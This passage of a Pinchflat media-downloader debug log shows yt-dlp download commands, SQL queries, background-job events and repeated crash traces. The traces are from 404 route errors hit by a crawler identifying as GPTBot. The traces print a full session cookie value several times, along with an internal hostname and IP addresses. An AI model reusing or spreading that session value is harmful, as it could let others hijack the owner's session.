{:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.4865.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/sync_files_on_disk", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 45780}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "close", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYTXdMSGduck5jcW1ydjdqSW9LS242dFRa.4bnK5r_ykY9JO8RUgRJhmJgNtvN-99haU4allWoml6A", "from" => "gptbot(at)openai.com", "host" => "pinchflat.internal.ubrown.me", "referer" => "https://pinchflat.internal.ubrown.me/sources/1", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.48", "x-forwarded-proto" => "https", "x-openai-host-hash" => "372783186", "x-real-ip" => "74.7.241.48" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/sync_files_on_disk (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.4865.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/sync_files_on_disk", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 45780}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "close", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYTXdMSGduck5jcW1ydjdqSW9LS242dFRa.4bnK5r_ykY9JO8RUgRJhmJgNtvN-99haU4allWoml6A", "from" => "gptbot(at)openai.com", "host" => "pinchflat.internal.ubrown.me", "referer" => "https://pinchflat.internal.ubrown.me/sources/1", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.48", "x-forwarded-proto" => "https", "x-openai-host-hash" => "372783186", "x-real-ip" => "74.7.241.48" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: (truncated) 22:35:16.920 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=_ugOPkkWMTw --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Last Meals/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/54/b9/54b975fb5692431e39f370f8eb6719b621750f1546b1775d470b7e0e8662ffff.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 22:35:16.937 [debug] Running yt-dlp command for action: download_thumbnail 22:35:16.937 [debug] QUERY OK source="settings" db=0.1ms idle=875.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:35:16.938 [debug] QUERY OK source="settings" db=0.0ms idle=875.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:35:16.938 [debug] QUERY OK source="settings" db=0.0ms idle=875.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:35:16.938 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=_ugOPkkWMTw --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/95/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/a8/44/a844150544ccb0f63542633828805528be0bf8ef0a7379b725cebb3585ef6cd0.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:35:19.753 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=_ugOPkkWMTw --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/95/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/a8/44/a844150544ccb0f63542633828805528be0bf8ef0a7379b725cebb3585ef6cd0.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 22:35:19.754 [debug] QUERY OK db=0.0ms idle=1691.6ms begin [] 22:35:19.754 [debug] QUERY OK source="media_items" db=0.3ms UPDATE "media_items" SET "media_downloaded_at" = ?, "media_filepath" = ?, "updated_at" = ? WHERE "id" = ? [~U[2026-03-28 02:35:16Z], "/downloads/Last Meals/2025-10-21 Brie Larson Eats Her Last Meal/Brie Larson Eats Her Last Meal [_ugOPkkWMTw].mp4", ~U[2026-03-28 02:35:19Z], 95] 22:35:19.754 [debug] QUERY OK source="media_metadata" db=0.2ms INSERT INTO "media_metadata" ("metadata_filepath","thumbnail_filepath","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5) RETURNING "id" ["/config/metadata/media_items/95/metadata.json.gz", "/config/metadata/media_items/95/thumbnail.jpg", 95, ~U[2026-03-28 02:35:19Z], ~U[2026-03-28 02:35:19Z]] 22:35:19.755 [debug] QUERY OK db=0.0ms commit [] 22:35:19.756 [debug] QUERY OK source="media_items" db=0.5ms idle=1692.9ms UPDATE "media_items" SET "media_size_bytes" = ?, "updated_at" = ? WHERE "id" = ? [435238120, ~U[2026-03-28 02:35:19Z], 95] 22:35:19.756 [info] User scripts lifecyle file either not present or is empty. Skipping. 22:35:19.756 [info] {"args":{"id":95},"id":94,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":139709581,"event":"job:stop","queue_time":6239046347,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 22:35:19.756 [debug] QUERY OK source="tasks" db=0.3ms idle=522.3ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:35:19.756 [debug] QUERY OK source="tasks" db=0.3ms idle=1524.4ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:35:19.757 [debug] QUERY OK source="media_items" db=0.2ms idle=0.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [96] 22:35:19.757 [debug] QUERY OK source="media_items" db=0.2ms idle=2.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [96] 22:35:19.762 [info] {"args":{"id":97},"id":96,"meta":{},"system_time":1774665319762724187,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 22:35:19.763 [debug] QUERY OK source="media_items" db=0.2ms idle=5.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [97] 22:35:19.763 [info] User scripts lifecyle file either not present or is empty. Skipping. 22:35:19.763 [debug] QUERY OK source="tasks" db=0.4ms idle=5.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:35:19.763 [debug] QUERY OK source="tasks" db=0.6ms idle=5.5ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:35:19.763 [debug] QUERY OK source="sources" db=0.4ms idle=5.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:35:19.763 [debug] QUERY OK source="media_items" db=0.1ms queue=0.1ms idle=0.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [96, 97] 22:35:19.764 [debug] QUERY OK source="media_items" db=0.2ms idle=0.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [96, 97] 22:35:19.764 [debug] QUERY OK source="media_profiles" db=0.4ms idle=0.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:35:19.764 [debug] QUERY OK source="media_items" db=0.1ms idle=0.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [97] 22:35:19.764 [debug] QUERY OK source="media_metadata" db=0.0ms idle=1.1ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [97] 22:35:19.764 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:35:19.765 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:35:19.765 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:35:19.765 [debug] Running yt-dlp command for action: get_downloadable_status 22:35:19.765 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:35:19.765 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:35:19.765 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:35:19.766 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=CIEpU0EF0XI --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/5b/ad/5bad3a7ff96d4f7272f63f37a7409cba5218d40a42ac297b5654fbbf0bb6c008.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:35:22.151 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=CIEpU0EF0XI --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/5b/ad/5bad3a7ff96d4f7272f63f37a7409cba5218d40a42ac297b5654fbbf0bb6c008.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 22:35:22.151 [debug] Running yt-dlp command for action: download 22:35:22.151 [debug] QUERY OK source="settings" db=0.0ms idle=1088.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:35:22.151 [debug] QUERY OK source="settings" db=0.0ms idle=1088.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:35:22.151 [debug] QUERY OK source="settings" db=0.0ms idle=1089.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:35:22.152 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=CIEpU0EF0XI --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Last Meals/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/d2/10/d210f5b14abe1e6ef8857442170bf55247b48878b55e626110210f736a6523d6.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:35:28.923 [info] {"source":"oban","duration":1079,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:35:58.925 [info] {"source":"oban","duration":1048,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:36:00.675 [info] {"source":"oban","duration":303,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:36:16.839 [info] GET /sources/2/sync_files_on_disk 22:36:16.840 [debug] QUERY OK source="settings" db=0.1ms idle=777.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:36:16.840 [debug] QUERY OK source="settings" db=0.1ms idle=778.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:36:16.840 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 22:36:16.841 [error] #PID<0.4881.0> running PinchflatWeb.Endpoint (connection #PID<0.4880.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /sources/2/sync_files_on_disk ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/2/sync_files_on_disk (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.4880.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/sync_files_on_disk", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 45904}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "close", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYTXdMSGduck5jcW1ydjdqSW9LS242dFRa.4bnK5r_ykY9JO8RUgRJhmJgNtvN-99haU4allWoml6A", "from" => "gptbot(at)openai.com", "host" => "pinchflat.internal.ubrown.me", "referer" => "https://pinchflat.internal.ubrown.me/sources/2", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.48", "x-forwarded-proto" => "https", "x-openai-host-hash" => "372783186", "x-real-ip" => "74.7.241.48" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYTXdMSGduck5jcW1ydjdqSW9LS242dFRa.4bnK5r_ykY9JO8RUgRJhmJgNtvN-99haU4allWoml6A" }, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.4881.0>, params: %{}, path_info: ["sources", "2", "sync_files_on_disk"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYTXdMSGduck5jcW1ydjdqSW9LS242dFRa.4bnK5r_ykY9JO8RUgRJhmJgNtvN-99haU4allWoml6A" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"connection", "close"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYTXdMSGduck5jcW1ydjdqSW9LS242dFRa.4bnK5r_ykY9JO8RUgRJhmJgNtvN-99haU4allWoml6A"}, {"from", "gptbot(at)openai.com"}, {"host", "pinchflat.internal.ubrown.me"}, {"referer", "https://pinchflat.internal.ubrown.me/sources/2"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)"}, {"x-forwarded-for", "74.7.241.48"}, {"x-forwarded-proto", "https"}, {"x-openai-host-hash", "372783186"}, {"x-real-ip", "74.7.241.48"} ], request_path: "/sources/2/sync_files_on_disk", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDgwfW5Aiefus0AAHID"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.4880.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/sync_files_on_disk", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 45904}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "close", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYTXdMSGduck5jcW1ydjdqSW9LS242dFRa.4bnK5r_ykY9JO8RUgRJhmJgNtvN-99haU4allWoml6A", "from" => "gptbot(at)openai.com", "host" => "pinchflat.internal.ubrown.me", "referer" => "https://pinchflat.internal.ubrown.me/sources/2", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.48", "x-forwarded-proto" => "https", "x-openai-host-hash" => "372783186", "x-real-ip" => "74.7.241.48" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 